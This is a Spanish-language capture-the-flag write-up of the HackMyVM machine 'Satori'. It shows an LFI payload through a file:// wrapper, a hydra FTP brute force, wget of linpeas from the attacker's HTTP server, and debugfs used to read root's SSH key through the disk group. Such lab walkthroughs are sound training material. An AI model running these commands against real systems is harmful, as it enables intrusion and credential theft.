cd ~/blog

~/writeups/hmv/002-satori.md

002 - Satori

medium Linux hmv 15-02-2024
LFI via file:// wrapperFTP brute forcedisk group Privesc (debugfs)
hackmyvm.eu/machines/machine.php?vm=Satori

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.101
 nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-15 14:06 -03
Nmap scan report for 192.168.1.101
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0        10296404 Mar 03  2021 satori.mkv [NSE: writeable]
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:07:48:a4:a2:91:7d:bf:e8:2c:2d:39:7d:21:fe:8a (RSA)
|   256 d5:f1:45:5d:d4:3e:2e:63:25:e3:0e:d0:21:0d:23:15 (ECDSA)
|_  256 e8:78:20:63:0d:23:2f:83:42:8f:14:68:c1:24:32:e4 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: youtube-downloader
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds

El FTP permite login anónimo y expone un satori.mkv. La web del puerto 80 es un "youtube-downloader".

Web y LFI

Enumeramos directorios con gobuster, que confirma el stream.php referenciado en la página:

 gobuster dir -u 192.168.1.101 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
/index.html           (Status: 200) [Size: 1739]
/stream.php           (Status: 200) [Size: 15]

Al analizar el código fuente de la página, encontramos cómo se construye la ruta de descarga:

var stream_url = 'stream.php?url=' + encodeURIComponent(first)

Probamos LFI directamente, pero la ruta sin wrapper no devuelve nada útil:

view-source:http://192.168.1.101/stream.php?url=//etc/passwd

El parámetro url sí es vulnerable si lo forzamos a usar el wrapper file://, que indica explícitamente que se lea un archivo del sistema:

view-source:http://192.168.1.101/stream.php?url=file:///etc/passwd

Tenemos éxito y, de /etc/passwd, obtenemos el usuario yana.

Fuerza bruta FTP y acceso SSH

SSH no permite el inicio de sesión por contraseña, por lo que dirigimos la fuerza bruta contra el FTP, donde sí podríamos validar credenciales:

 hydra -l yana -P ~/Documentos/wordlists/rockyou.txt 192.168.1.101 ftp -t 64
...
[21][ftp] host: 192.168.1.101   login: yana   password: truelove
...

Nos conectamos por FTP, obtenemos la id_rsa de yana y con ella establecemos la conexión SSH que nos entrega la primera flag:

 ssh yana@192.168.1.101 -i id_rsa

Escalada de privilegios (grupo disk)

Para apoyar la enumeración levantamos un servidor HTTP en nuestra máquina y descargamos linpeas en la víctima:

 python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.101 - - [18/Feb/2024 01:09:45] "GET /linpeas.sh HTTP/1.1" 200 -

yana@satori:/tmp$ wget http://192.168.1.10:8000/linpeas.sh

linpeas revela que yana pertenece al grupo disk (Privileged Groups Privesc):

yana@satori:/tmp$ cat /etc/group | grep disk
disk:x:6:yana

Pertenecer al grupo disk da acceso de bajo nivel a los dispositivos de bloque, lo que en la práctica equivale a lectura como root sobre todo el sistema de archivos. Primero averiguamos dónde está montada la raíz:

yana@satori:/tmp$ df -h
...
/dev/sda1        11G  2.9G  7.4G  28% /
...

Usaremos debugfs para navegar el dispositivo /dev/sda1 y leer la id_rsa de root. El binario no está en el PATH, así que primero lo localizamos:

yana@satori:/tmp$ find / -name debugfs 2>/dev/null
/usr/sbin/debugfs

Y lo lanzamos contra el dispositivo para listar y extraer la clave del directorio de root:

yana@satori:/tmp$ /usr/sbin/debugfs /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cd /root
debugfs:  ls -l

Con la id_rsa de root extraída nos conectamos por SSH, obtenemos la segunda flag y terminamos.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados